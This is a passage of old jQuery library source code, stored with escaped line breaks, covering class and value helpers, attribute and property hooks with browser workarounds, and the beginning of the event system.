);\n\t\t\t});\n\t\t}\n\n\t\tif ( (value && typeof value === \"string\") || value === undefined ) {\n\t\t\tvar classNames = (value || \"\").split( rspace );\n\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tvar elem = this[i];\n\n\t\t\t\tif ( elem.nodeType === 1 && elem.className ) {\n\t\t\t\t\tif ( value ) {\n\t\t\t\t\t\tvar className = (\" \" + elem.className + \" \").replace(rclass, \" \");\n\t\t\t\t\t\tfor ( var c = 0, cl = classNames.length; c < cl; c++ ) {\n\t\t\t\t\t\t\tclassName = className.replace(\" \" + classNames[c] + \" \", \" \");\n\t\t\t\t\t\t}\n\t\t\t\t\t\telem.className = jQuery.trim( className );\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\telem.className = \"\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\ttoggleClass: function( value, stateVal ) {\n\t\tvar type = typeof value,\n\t\t\tisBool = typeof stateVal === \"boolean\";\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\tself.toggleClass( value.call(this, i, self.attr(\"class\"), stateVal), stateVal );\n\t\t\t});\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tif ( type === \"string\" ) {\n\t\t\t\t// toggle individual class names\n\t\t\t\tvar className,\n\t\t\t\t\ti = 0,\n\t\t\t\t\tself = jQuery( this ),\n\t\t\t\t\tstate = stateVal,\n\t\t\t\t\tclassNames = value.split( rspace );\n\n\t\t\t\twhile ( (className = classNames[ i++ ]) ) {\n\t\t\t\t\t// check each className given, space seperated list\n\t\t\t\t\tstate = isBool ? state : !self.hasClass( className );\n\t\t\t\t\tself[ state ? \"addClass\" : \"removeClass\" ]( className );\n\t\t\t\t}\n\n\t\t\t} else if ( type === \"undefined\" || type === \"boolean\" ) {\n\t\t\t\tif ( this.className ) {\n\t\t\t\t\t// store className if set\n\t\t\t\t\tjQuery._data( this, \"__className__\", this.className );\n\t\t\t\t}\n\n\t\t\t\t// toggle whole className\n\t\t\t\tthis.className = this.className || value === false ? \"\" : jQuery._data( this, \"__className__\" ) || \"\";\n\t\t\t}\n\t\t});\n\t},\n\n\thasClass: function( selector ) {\n\t\tvar className = \" \" + selector + \" \";\n\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\tif ( (\" \" + this[i].className + \" \").replace(rclass, \" \").indexOf( className ) > -1 ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t},\n\n\tval: function( value ) {\n\t\tvar hooks, ret,\n\t\t\telem = this[0];\n\t\t\n\t\tif ( !arguments.length ) {\n\t\t\tif ( elem ) {\n\t\t\t\thooks = jQuery.valHooks[ elem.nodeName.toLowerCase() ] || jQuery.valHooks[ elem.type ];\n\n\t\t\t\tif ( hooks && \"get\" in hooks && (ret = hooks.get( elem, \"value\" )) !== undefined ) {\n\t\t\t\t\treturn ret;\n\t\t\t\t}\n\n\t\t\t\treturn (elem.value || \"\").replace(rreturn, \"\");\n\t\t\t}\n\n\t\t\treturn undefined;\n\t\t}\n\n\t\tvar isFunction = jQuery.isFunction( value );\n\n\t\treturn this.each(function( i ) {\n\t\t\tvar self = jQuery(this), val;\n\n\t\t\tif ( this.nodeType !== 1 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( isFunction ) {\n\t\t\t\tval = value.call( this, i, self.val() );\n\t\t\t} else {\n\t\t\t\tval = value;\n\t\t\t}\n\n\t\t\t// Treat null/undefined as \"\"; convert numbers to string\n\t\t\tif ( val == null ) {\n\t\t\t\tval = \"\";\n\t\t\t} else if ( typeof val === \"number\" ) {\n\t\t\t\tval += \"\";\n\t\t\t} else if ( jQuery.isArray( val ) ) {\n\t\t\t\tval = jQuery.map(val, function ( value ) {\n\t\t\t\t\treturn value == null ? \"\" : value + \"\";\n\t\t\t\t});\n\t\t\t}\n\n\t\t\thooks = jQuery.valHooks[ this.nodeName.toLowerCase() ] || jQuery.valHooks[ this.type ];\n\n\t\t\t// If set returns undefined, fall back to normal setting\n\t\t\tif ( !hooks || !(\"set\" in hooks) || hooks.set( this, val, \"value\" ) === undefined ) {\n\t\t\t\tthis.value = val;\n\t\t\t}\n\t\t});\n\t}\n});\n\njQuery.extend({\n\tvalHooks: {\n\t\toption: {\n\t\t\tget: function( elem ) {\n\t\t\t\t// attributes.value is undefined in Blackberry 4.7 but\n\t\t\t\t// uses .value. See #6932\n\t\t\t\tvar val = elem.attributes.value;\n\t\t\t\treturn !val || val.specified ? elem.value : elem.text;\n\t\t\t}\n\t\t},\n\t\tselect: {\n\t\t\tget: function( elem ) {\n\t\t\t\tvar value,\n\t\t\t\t\tindex = elem.selectedIndex,\n\t\t\t\t\tvalues = [],\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tone = elem.type === \"select-one\";\n\n\t\t\t\t// Nothing was selected\n\t\t\t\tif ( index < 0 ) {\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\n\t\t\t\t// Loop through all the selected options\n\t\t\t\tfor ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) {\n\t\t\t\t\tvar option = options[ i ];\n\n\t\t\t\t\t// Don't return options that are disabled or in a disabled optgroup\n\t\t\t\t\tif ( option.selected && (jQuery.support.optDisabled ? !option.disabled : option.getAttribute(\"disabled\") === null) &&\n\t\t\t\t\t\t\t(!option.parentNode.disabled || !jQuery.nodeName( option.parentNode, \"optgroup\" )) ) {\n\n\t\t\t\t\t\t// Get the specific value for the option\n\t\t\t\t\t\tvalue = jQuery( option ).val();\n\n\t\t\t\t\t\t// We don't need an array for one selects\n\t\t\t\t\t\tif ( one ) {\n\t\t\t\t\t\t\treturn value;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Multi-Selects return an array\n\t\t\t\t\t\tvalues.push( value );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Fixes Bug #2551 -- select.val() broken in IE after form.reset()\n\t\t\t\tif ( one && !values.length && options.length ) {\n\t\t\t\t\treturn jQuery( options[ index ] ).val();\n\t\t\t\t}\n\n\t\t\t\treturn values;\n\t\t\t},\n\n\t\t\tset: function( elem, value ) {\n\t\t\t\tvar values = jQuery.makeArray( value );\n\n\t\t\t\tjQuery(elem).find(\"option\").each(function() {\n\t\t\t\t\tthis.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0;\n\t\t\t\t});\n\n\t\t\t\tif ( !values.length ) {\n\t\t\t\t\telem.selectedIndex = -1;\n\t\t\t\t}\n\t\t\t\treturn values;\n\t\t\t}\n\t\t}\n\t},\n\n\tattrFn: {\n\t\tval: true,\n\t\tcss: true,\n\t\thtml: true,\n\t\ttext: true,\n\t\tdata: true,\n\t\twidth: true,\n\t\theight: true,\n\t\toffset: true\n\t},\n\t\n\tattrFix: {\n\t\t// Always normalize to ensure hook usage\n\t\ttabindex: \"tabIndex\"\n\t},\n\t\n\tattr: function( elem, name, value, pass ) {\n\t\tvar nType = elem.nodeType;\n\t\t\n\t\t// don't get/set attributes on text, comment and attribute nodes\n\t\tif ( !elem || nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn undefined;\n\t\t}\n\n\t\tif ( pass && name in jQuery.attrFn ) {\n\t\t\treturn jQuery( elem )[ name ]( value );\n\t\t}\n\n\t\t// Fallback to prop when attributes are not supported\n\t\tif ( !(\"getAttribute\" in elem) ) {\n\t\t\treturn jQuery.prop( elem, name, value );\n\t\t}\n\n\t\tvar ret, hooks,\n\t\t\tnotxml = nType !== 1 || !jQuery.isXMLDoc( elem );\n\n\t\t// Normalize the name if needed\n\t\tname = notxml && jQuery.attrFix[ name ] || name;\n\n\t\thooks = jQuery.attrHooks[ name ];\n\n\t\tif ( !hooks ) {\n\t\t\t// Use boolHook for boolean attributes\n\t\t\tif ( rboolean.test( name ) &&\n\t\t\t\t(typeof value === \"boolean\" || value === undefined || value.toLowerCase() === name.toLowerCase()) ) {\n\n\t\t\t\thooks = boolHook;\n\n\t\t\t// Use formHook for forms and if the name contains certain characters\n\t\t\t} else if ( formHook && (jQuery.nodeName( elem, \"form\" ) || rinvalidChar.test( name )) ) {\n\t\t\t\thooks = formHook;\n\t\t\t}\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\n\t\t\tif ( value === null ) {\n\t\t\t\tjQuery.removeAttr( elem, name );\n\t\t\t\treturn undefined;\n\n\t\t\t} else if ( hooks && \"set\" in hooks && notxml && (ret = hooks.set( elem, value, name )) !== undefined ) {\n\t\t\t\treturn ret;\n\n\t\t\t} else {\n\t\t\t\telem.setAttribute( name, \"\" + value );\n\t\t\t\treturn value;\n\t\t\t}\n\n\t\t} else if ( hooks && \"get\" in hooks && notxml ) {\n\t\t\treturn hooks.get( elem, name );\n\n\t\t} else {\n\n\t\t\tret = elem.getAttribute( name );\n\n\t\t\t// Non-existent attributes return null, we normalize to undefined\n\t\t\treturn ret === null ?\n\t\t\t\tundefined :\n\t\t\t\tret;\n\t\t}\n\t},\n\n\tremoveAttr: function( elem, name ) {\n\t\tvar propName;\n\t\tif ( elem.nodeType === 1 ) {\n\t\t\tname = jQuery.attrFix[ name ] || name;\n\t\t\n\t\t\tif ( jQuery.support.getSetAttribute ) {\n\t\t\t\t// Use removeAttribute in browsers that support it\n\t\t\t\telem.removeAttribute( name );\n\t\t\t} else {\n\t\t\t\tjQuery.attr( elem, name, \"\" );\n\t\t\t\telem.removeAttributeNode( elem.getAttributeNode( name ) );\n\t\t\t}\n\n\t\t\t// Set corresponding property to false for boolean attributes\n\t\t\tif ( rboolean.test( name ) && (propName = jQuery.propFix[ name ] || name) in elem ) {\n\t\t\t\telem[ propName ] = false;\n\t\t\t}\n\t\t}\n\t},\n\n\tattrHooks: {\n\t\ttype: {\n\t\t\tset: function( elem, value ) {\n\t\t\t\t// We can't allow the type property to be changed (since it causes problems in IE)\n\t\t\t\tif ( rtype.test( elem.nodeName ) && elem.parentNode ) {\n\t\t\t\t\tjQuery.error( \"type property can't be changed\" );\n\t\t\t\t} else if ( !jQuery.support.radioValue && value === \"radio\" && jQuery.nodeName(elem, \"input\") ) {\n\t\t\t\t\t// Setting the type on a radio button after the value resets the value in IE6-9\n\t\t\t\t\t// Reset value to it's default in case type is set after value\n\t\t\t\t\t// This is for element creation\n\t\t\t\t\tvar val = elem.value;\n\t\t\t\t\telem.setAttribute( \"type\", value );\n\t\t\t\t\tif ( val ) {\n\t\t\t\t\t\telem.value = val;\n\t\t\t\t\t}\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\ttabIndex: {\n\t\t\tget: function( elem ) {\n\t\t\t\t// elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set\n\t\t\t\t// http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/\n\t\t\t\tvar attributeNode = elem.getAttributeNode(\"tabIndex\");\n\n\t\t\t\treturn attributeNode && attributeNode.specified ?\n\t\t\t\t\tparseInt( attributeNode.value, 10 ) :\n\t\t\t\t\trfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ?\n\t\t\t\t\t\t0 :\n\t\t\t\t\t\tundefined;\n\t\t\t}\n\t\t}\n\t},\n\n\tpropFix: {\n\t\ttabindex: \"tabIndex\",\n\t\treadonly: \"readOnly\",\n\t\t\"for\": \"htmlFor\",\n\t\t\"class\": \"className\",\n\t\tmaxlength: \"maxLength\",\n\t\tcellspacing: \"cellSpacing\",\n\t\tcellpadding: \"cellPadding\",\n\t\trowspan: \"rowSpan\",\n\t\tcolspan: \"colSpan\",\n\t\tusemap: \"useMap\",\n\t\tframeborder: \"frameBorder\",\n\t\tcontenteditable: \"contentEditable\"\n\t},\n\t\n\tprop: function( elem, name, value ) {\n\t\tvar nType = elem.nodeType;\n\n\t\t// don't get/set properties on text, comment and attribute nodes\n\t\tif ( !elem || nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn undefined;\n\t\t}\n\n\t\tvar ret, hooks,\n\t\t\tnotxml = nType !== 1 || !jQuery.isXMLDoc( elem );\n\n\t\t// Try to normalize/fix the name\n\t\tname = notxml && jQuery.propFix[ name ] || name;\n\t\t\n\t\thooks = jQuery.propHooks[ name ];\n\n\t\tif ( value !== undefined ) {\n\t\t\tif ( hooks && \"set\" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {\n\t\t\t\treturn ret;\n\n\t\t\t} else {\n\t\t\t\treturn (elem[ name ] = value);\n\t\t\t}\n\n\t\t} else {\n\t\t\tif ( hooks && \"get\" in hooks && (ret = hooks.get( elem, name )) !== undefined ) {\n\t\t\t\treturn ret;\n\n\t\t\t} else {\n\t\t\t\treturn elem[ name ];\n\t\t\t}\n\t\t}\n\t},\n\t\n\tpropHooks: {}\n});\n\n// Hook for boolean attributes\nboolHook = {\n\tget: function( elem, name ) {\n\t\t// Align boolean attributes with corresponding properties\n\t\treturn elem[ jQuery.propFix[ name ] || name ] ?\n\t\t\tname.toLowerCase() :\n\t\t\tundefined;\n\t},\n\tset: function( elem, value, name ) {\n\t\tvar propName;\n\t\tif ( value === false ) {\n\t\t\t// Remove boolean attributes when set to false\n\t\t\tjQuery.removeAttr( elem, name );\n\t\t} else {\n\t\t\t// value is true since we know at this point it's type boolean and not false\n\t\t\t// Set boolean attributes to the same name and set the DOM property\n\t\t\tpropName = jQuery.propFix[ name ] || name;\n\t\t\tif ( propName in elem ) {\n\t\t\t\t// Only set the IDL specifically if it already exists on the element\n\t\t\t\telem[ propName ] = value;\n\t\t\t}\n\n\t\t\telem.setAttribute( name, name.toLowerCase() );\n\t\t}\n\t\treturn name;\n\t}\n};\n\n// Use the value property for back compat\n// Use the formHook for button elements in IE6/7 (#1954)\njQuery.attrHooks.value = {\n\tget: function( elem, name ) {\n\t\tif ( formHook && jQuery.nodeName( elem, \"button\" ) ) {\n\t\t\treturn formHook.get( elem, name );\n\t\t}\n\t\treturn elem.value;\n\t},\n\tset: function( elem, value, name ) {\n\t\tif ( formHook && jQuery.nodeName( elem, \"button\" ) ) {\n\t\t\treturn formHook.set( elem, value, name );\n\t\t}\n\t\t// Does not return so that setAttribute is also used\n\t\telem.value = value;\n\t}\n};\n\n// IE6/7 do not support getting/setting some attributes with get/setAttribute\nif ( !jQuery.support.getSetAttribute ) {\n\n\t// propFix is more comprehensive and contains all fixes\n\tjQuery.attrFix = jQuery.propFix;\n\t\n\t// Use this for any attribute on a form in IE6/7\n\tformHook = jQuery.attrHooks.name = jQuery.valHooks.button = {\n\t\tget: function( elem, name ) {\n\t\t\tvar ret;\n\t\t\tret = elem.getAttributeNode( name );\n\t\t\t// Return undefined if nodeValue is empty string\n\t\t\treturn ret && ret.nodeValue !== \"\" ?\n\t\t\t\tret.nodeValue :\n\t\t\t\tundefined;\n\t\t},\n\t\tset: function( elem, value, name ) {\n\t\t\t// Check form objects in IE (multiple bugs related)\n\t\t\t// Only use nodeValue if the attribute node exists on the form\n\t\t\tvar ret = elem.getAttributeNode( name );\n\t\t\tif ( ret ) {\n\t\t\t\tret.nodeValue = value;\n\t\t\t\treturn value;\n\t\t\t}\n\t\t}\n\t};\n\n\t// Set width and height to auto instead of 0 on empty string( Bug #8150 )\n\t// This is for removals\n\tjQuery.each([ \"width\", \"height\" ], function( i, name ) {\n\t\tjQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {\n\t\t\tset: function( elem, value ) {\n\t\t\t\tif ( value === \"\" ) {\n\t\t\t\t\telem.setAttribute( name, \"auto\" );\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t});\n}\n\n\n// Some attributes require a special call on IE\nif ( !jQuery.support.hrefNormalized ) {\n\tjQuery.each([ \"href\", \"src\", \"width\", \"height\" ], function( i, name ) {\n\t\tjQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {\n\t\t\tget: function( elem ) {\n\t\t\t\tvar ret = elem.getAttribute( name, 2 );\n\t\t\t\treturn ret === null ? undefined : ret;\n\t\t\t}\n\t\t});\n\t});\n}\n\nif ( !jQuery.support.style ) {\n\tjQuery.attrHooks.style = {\n\t\tget: function( elem ) {\n\t\t\t// Return undefined in the case of empty string\n\t\t\t// Normalize to lowercase since IE uppercases css property names\n\t\t\treturn elem.style.cssText.toLowerCase() || undefined;\n\t\t},\n\t\tset: function( elem, value ) {\n\t\t\treturn (elem.style.cssText = \"\" + value);\n\t\t}\n\t};\n}\n\n// Safari mis-reports the default selected property of an option\n// Accessing the parent's selectedIndex property fixes it\nif ( !jQuery.support.optSelected ) {\n\tjQuery.propHooks.selected = jQuery.extend( jQuery.propHooks.selected, {\n\t\tget: function( elem ) {\n\t\t\tvar parent = elem.parentNode;\n\n\t\t\tif ( parent ) {\n\t\t\t\tparent.selectedIndex;\n\n\t\t\t\t// Make sure that it also works with optgroups, see #5701\n\t\t\t\tif ( parent.parentNode ) {\n\t\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n}\n\n// Radios and checkboxes getter/setter\nif ( !jQuery.support.checkOn ) {\n\tjQuery.each([ \"radio\", \"checkbox\" ], function() {\n\t\tjQuery.valHooks[ this ] = {\n\t\t\tget: function( elem ) {\n\t\t\t\t// Handle the case where in Webkit \"\" is returned instead of \"on\" if a value isn't specified\n\t\t\t\treturn elem.getAttribute(\"value\") === null ? \"on\" : elem.value;\n\t\t\t}\n\t\t};\n\t});\n}\njQuery.each([ \"radio\", \"checkbox\" ], function() {\n\tjQuery.valHooks[ this ] = jQuery.extend( jQuery.valHooks[ this ], {\n\t\tset: function( elem, value ) {\n\t\t\tif ( jQuery.isArray( value ) ) {\n\t\t\t\treturn (elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0);\n\t\t\t}\n\t\t}\n\t});\n});\n\n\n\n\nvar hasOwn = Object.prototype.hasOwnProperty,\n\trnamespaces = /\\.(.*)$/,\n\trformElems = /^(?:textarea|input|select)$/i,\n\trperiod = /\\./g,\n\trspaces = / /g,\n\trescape = /[^\\w\\s.|`]/g,\n\tfcleanup = function( nm ) {\n\t\treturn nm.replace(rescape, \"\\\\$&\");\n\t};\n\n/*\n * A number of helper functions used for managing events.\n * Many of the ideas behind this code originated from\n * Dean Edwards' addEvent library.\n */\njQuery.event = {\n\n\t// Bind an event to an element\n\t// Original by Dean Edwards\n\tadd: function( elem, types, handler, data ) {\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( handler === false ) {\n\t\t\thandler = returnFalse;\n\t\t} else if ( !handler ) {\n\t\t\t// Fixes bug #7229. Fix recommended by jdalton\n\t\t\treturn;\n\t\t}\n\n\t\tvar handleObjIn, handleObj;\n\n\t\tif ( handler.handler ) {\n\t\t\thandleObjIn = handler;\n\t\t\thandler = handleObjIn.handler;\n\t\t}\n\n\t\t// Make sure that the function being executed has a unique ID\n\t\tif ( !handler.guid ) {\n\t\t\thandler.guid = jQuery.guid++;\n\t\t}\n\n\t\t// Init the element's event structure\n\t\tvar elemData = jQuery._data( elem );\n\n\t\t// If no elemData is found then we must be trying to bind to one of the\n\t\t// banned noData elements\n\t\tif ( !elemData ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar events = elemData.events,\n\t\t\teventHandle = elemData.handle;\n\n\t\tif ( !events ) {\n\t\t\telemData.events = events = {};\n\t\t}\n\n\t\tif ( !eventHandle ) {\n\t\t\telemData.handle = eventHandle = function( e ) {\n\t\t\t\t// Discard the second event of a jQuery.event.trigger() and\n\t\t\t\t// when an event is called after a page has unloaded\n\t\t\t\treturn typeof jQuery !== \"undefined\" && (!e || jQuery.event.triggered !== e.type) ?\n\t\t\t\t\tjQuery.event.handle.apply( eventHandle.elem, arguments ) :\n\t\t\t\t\tundefined;\n\t\t\t};\n\t\t}\n\n\t\t// Add elem as a property of the handle function\n\t\t// This is to prevent a memory leak with non-native events in IE.\n\t\teventHandle.elem = elem;\n\n\t\t// Handle multiple events separated by a space\n\t\t// jQuery(...).bind(\"mouseover mouseout\", fn);\n\t\ttypes = types.split(\" \");\n\n\t\tvar type, i = 0, namespaces;\n\n\t\twhile ( (type = types[ i++ ]) ) {\n\t\t\thandleObj = handleObjIn ?\n\t\t\t\tjQuery.extend({}, handleObjIn) :\n\t\t\t\t{ handler: handler, data: data };\n\n\t\t\t// Namespaced event handlers\n\t\t\tif ( type.indexOf(\".\") > -1 ) {\n\t\t\t\tnamespaces = type.split(\".\");\n\t\t\t\ttype = namespaces.shift();\n\t\t\t\thandleObj.namespace = namespaces.slice(0).sort().join(\".\");\n\n\t\t\t} else {\n\t\t\t\tnamespaces = [];\n\t\t\t\thandleObj.namespace = \"\";\n\t\t\t}\n\n\t\t\thandleObj.type = type;\n\t\t\tif ( !handleObj.guid ) {\n\t\t\t\thandleObj.guid = handler.guid;\n\t\t\t}\n\n\t\t\t// Get the current list of functions bound to this event\n\t\t\tvar handlers = events[ type ],\n\t\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// Init the event handler queue\n\t\t\tif ( !handlers ) {\n\t\t\t\thandlers = events[ type ] = [];\n\n\t\t\t\t// Check for a special event handler\n\t\t\t\t// Only use addEventListener/attachEvent if the special\n\t\t\t\t// events handler returns false\n\t\t\t\tif ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) {\n\t\t\t\t\t// Bind the global event handler to the element\n\t\t\t\t\tif ( elem.addEventListener ) {\n\t\t\t\t\t\telem.addEventListener( type, eventHandle, false );\n\n\t\t\t\t\t} else if ( elem.attachEvent ) {\n\t\t\t\t\t\telem.attachEvent( \"on\" + type, eventHandle );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( special.add ) {\n\t\t\t\tspecial.add.call( elem, handleObj );\n\n\t\t\t\tif ( !handleObj.handler.guid ) {\n\t\t\t\t\thandleObj.handler.guid = handler.guid;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add the function to the element's handler list\n\t\t\thandlers.push( handleObj );\n\n\t\t\t// Keep track of which events have been used, for event optimization\n\t\t\tjQuery.event.global[ type ] = true;\n\t\t}\n\n\t\t// Nullify elem to prevent memory leaks in IE\n\t\telem = null;\n\t},\n\n\tglobal: {},\n\n\t// Detach an event or set of events from an element\n\tremove: function( elem, types, handler, pos ) {\n\t\t// don't do events on text and comment nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( handler === false ) {\n\t\t\thandler = returnFalse;\n\t\t}\n\n\t\tvar ret, type, fn, j, i = 0, all, namespaces, namespace, special, eventType, handleObj, origType,\n\t\t\telemData = jQuery.hasData( elem ) && jQuery._data( elem ),\n\t\t\tevents = elemData && elemData.events;\n\n\t\tif ( !elemData || !events ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// types is actually an event object here\n\t\tif ( types && types.type ) {\n\t\t\thandler = types.handler;\n\t\t\ttypes = types.type;\n\t\t}\n\n\t\t// Unbind all events for the element\n\t\tif ( !types || typeof types === \"string\" && types.charAt(0) === \".\" ) {\n\t\t\ttypes = types || \"\";\n\n\t\t\tfor ( type in events ) {\n\t\t\t\tjQuery.event.remove( elem, type + types );\n\t\t\t}\n\n\t\t\treturn;\n\t\t}\n\n\t\t// Handle multiple events separated by a space\n\t\t// jQuery(...).unbind(\"mouseover mouseout\", fn);\n\t\ttypes = types.split(\" \");\n\n\t\twhile ( (type = types[ i++ ]) ) {\n\t\t\torigType = type;\n\t\t\thandleObj = null;\n\t\t\tall = type.indexOf(\".\") < 0;\n\t\t\tnamespaces = [];\n\n\t\t\tif ( !all ) {\n\t\t\t\t// Namespaced event handlers\n\t\t\t\tnamespaces = type.split(\".\");\n\t\t\t\ttype = namespaces.shift();\n\n\t\t\t\tnamespace = new RegExp(\"(^|\\\\.)\" +\n\t\t\t\t\tjQuery.map( namespaces.slice(0).sort(), fcleanup ).join(\"\\\\.(?:.*\\\\.)?\") + \"(\\\\.|$)\");\n\t\t\t}\n\n\t\t\teventType = events[ type ];\n\n\t\t\tif ( !eventType ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ( !handler ) {\n\t\t\t\tfor ( j = 0; j < eventType.length; j++ ) {\n\t\t\t\t\thandleObj = eventType[ j ];\n\n\t\t\t\t\tif ( all || namespace.test( handleObj.namespace ) ) {\n\t\t\t\t\t\tjQuery.event.remove( elem, origType, handleObj.handler, j );\n\t\t\t\t\t\teventType.splice( j--, 1 );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\tfor ( j = pos || 0; j < eventType.length; j++ ) {\n\t\t\t\thandleObj = eventType[ j ];\n\n\t\t\t\tif ( handler.guid === handleObj.guid ) {\n\t\t\t\t\t// remove the given handler for the given type\n\t\t\t\t\tif ( all || namespace.test( handleObj.namespace ) ) {\n\t\t\t\t\t\tif ( pos == null ) {\n\t\t\t\t\t\t\teventType.splice( j--, 1 );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ( special.remove ) {\n\t\t\t\t\t\t\tspecial.remove.call( elem, handleObj );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( pos != null ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// remove generic event handler if no more handlers exist\n\t\t\tif ( eventType.length === 0 || pos != null && eventType.length === 1 ) {\n\t\t\t\tif ( !special.teardown || special.teardown.call( elem, namespaces ) === false ) {\n\t\t\t\t\tjQuery.removeEvent( elem, type, elemData.handle );\n\t\t\t\t}\n\n\t\t\t\tret = null;\n\t\t\t\tdelete events[ type ];\n\t\t\t}\n\t\t}\n\n\t\t// Remove the expando if it's no longer used\n\t\tif ( jQuery.isEmptyObject( events ) ) {\n\t\t\tvar handle = elemData.handle;\n\t\t\tif ( handle ) {\n\t\t\t\thandle.elem = null;\n\t\t\t}\n\n\t\t\tdelete elemData.events;\n\t\t\tdelete elemData.handle;\n\n\t\t\tif ( jQuery.isEmptyObject( elemData ) ) {\n\t\t\t\tjQuery.removeData( elem, undefined, true );\n\t\t\t}\n\t\t}\n\t},\n\t\n\t// Events that are safe to short-circuit if no handlers are attached.\n\t// Native DOM events should not be added, they may have inline handlers.\n\tcustomEvent: {\n\t\t\"getData\": true,\n\t\t\"setData\": true,\n\t\t\"changeData\": true\n\t},\n\n\ttrigger: function( event, data, elem, onlyHandlers ) {\n\t\t// Event object or event type\n\t\tvar type = event.type || event,\n\t\t\tnamespaces = [],\n\t\t\texclusive;\n\n\t\tif ( type.indexOf(\"!\") >= 0 ) {\n\t\t\t// Exclusive events trigger only for the exact event (no namespaces)\n\t\t\ttype = type.slice(0, -1);\n\t\t\texclusive = true;\n\t\t}\n\n\t\tif ( type.indexOf(\".\") >= 0 ) {\n\t\t\t// Namespaced trigger; create a regexp to match event type in handle()\n\t\t\tnamespaces = type.split(\".\");\n\t\t\ttype = namespaces.shift();\n\t\t\tnamespaces.sort();\n\t\t}\n\n\t\tif ( (!elem || jQuery.event.customEvent[ type ]) && !jQuery.event.global[ type ] ) {\n\t\t\t// No jQuery handlers for this event type, and it can't have inline handlers\n\t\t\treturn;\n\t\t}\n\n\t\t// Caller can pass in an Event, Object, or just an event type string\n\t\tevent = typeof event === \"object\" ?\n\t\t\t// jQuery.Event object\n\t\t\tevent[ jQuery.expando ] ? event :\n\t\t\t// Object literal\n\t\t\tnew jQuery.Event( type, event ) :\n\t\t\t// Just the event type (string)\n\t\t\tnew jQuery.Event( type );\n\n\t\tevent.type = type;\n\t\tevent.exclusive = exclusive;\n\t\tevent.namespace = namespaces.join(\".\");\n\t\tevent.namespace_re = new RegExp(\"(^|\\\\.)\" + namespaces.join(\"\\\\.(?:.*\\\\.)?\") + \"(\\\\.|$)\");\n\t\t\n\t\t// triggerHandler() and global events don't bubble or run the default action\n\t\tif ( onlyHandlers || !elem ) {\n\t\t\tevent.preventDefault();\n\t\t\tevent.stopPropagation();\n\t\t}\n\n\t\t// Handle a global trigger\n\t\tif ( !elem ) {\n\t\t\t// TODO: Stop taunting the data cache; remove global events and always attach to document\n\t\t\tjQuery.each( jQuery.cache, function() {\n\t\t\t\t// internalKey variable is just used to make it easier to find\n\t\t\t\t// and potentially change this stuff later; currently it just\n\t\t\t\t// points to jQuery.expando\n\t\t\t\tvar internalKey = jQuery.expando,\n\t\t\t\t\tinternalCache = this[ internalKey ];\n\t\t\t\tif ( internalCache && internalCache.events && internalCache.events[ type ] ) {\n\t\t\t\t\tjQuery.event.trigger( event, data, internalCache.handle.elem );\n\t\t\t\t}\n\t\t\t});\n\t\t\treturn;\n\t\t}\n\n\t\t// Don't do events on text and comment nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Clean up the event in case it is being reused\n\t\tevent.result = undefined;\n\t\tevent.target = elem;\n\n\t\t// Clone any incoming data and prepend the event, creating the handler arg list\n\t\tdata = data ? jQuery.makeArray( data ) : [];\n\t\tdata.unshift( event );\n\n\t\tvar cur = elem,\n\t\t\t// IE doesn't like method names with a colon (#3533, #8272)\n\t\t\tontype = type.indexOf(\":\") < 0 ? \"on\" + type : \"\";\n\n\t\t// Fire event on the current element, then bubble up the DOM tree\n\t\tdo {\n\t\t\tvar handle = jQuery._data( cur, \"handle\" 